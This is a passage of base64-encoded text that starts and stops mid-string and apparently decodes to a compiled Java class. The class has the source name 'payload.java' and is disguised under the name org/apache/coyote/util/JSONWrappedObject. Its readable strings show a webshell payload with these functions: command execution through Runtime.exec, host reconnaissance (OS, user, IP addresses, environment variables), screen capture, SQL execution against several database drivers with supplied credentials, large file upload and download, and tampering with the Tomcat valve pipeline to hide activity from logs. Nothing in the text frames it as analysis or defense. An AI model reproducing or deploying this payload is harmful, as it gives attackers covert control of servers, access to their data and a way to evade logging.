vZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2VuZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZiYXNlNjQBAAJzcAEABHNsZW4BAAJzbAEAAmRwAQADc2wwAQADc3AwAQADZHAwAQAEYml0cwEABGRsZW4BAAJiMAEAAmIxAQAMYmFzZTY0RGVjb2RlCgJBBVkMAkQFWgEABihbSUkpVgcFXAEAImphdmEvbGFuZy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24IBV4BAC1JbnB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